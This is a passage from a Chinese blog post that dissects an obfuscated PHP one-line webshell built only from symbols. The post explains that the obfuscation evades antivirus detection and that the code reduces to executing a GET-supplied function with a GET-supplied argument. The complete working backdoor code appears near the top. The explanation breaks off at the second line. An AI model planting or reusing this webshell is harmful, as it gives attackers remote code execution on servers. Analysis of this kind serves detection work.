纯符号一句话webshell PHP代码详解

最新推荐文章于 2024-04-09 18:56:38 发布

abcd9com

最新推荐文章于 2024-04-09 18:56:38 发布

阅读量1.1k

点赞数

本文链接：https://blog.csdn.net/abcd9com/article/details/26811105

版权

本文详细解析了一段由纯符号组成的PHP一句话后门代码，涉及变量混淆、二进制运算及PHP特性，最终揭露该代码实质为：`$_GET['_']($_GET['__'])`，用于创建webshell链接。

摘要由CSDN通过智能技术生成

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
${'_'.$_}['_'](${'_'.$_}['__']);
?>
以上是网上流传的一段由纯符号组成的一句话后门代码，这种代码混淆方法主要用以webshell免杀。下文将详细剖析这段看似复杂的PHP变形代码。

第一行：$_="";
定义一个以下划线作为命名的字符变量：$_，赋值为空。
此行实际上不影响代码执行效果，仅增加混淆效果。

第二行：$_[+""]='';
定义一个$_数组元素，其key为+""，赋值为空。
众所周知，P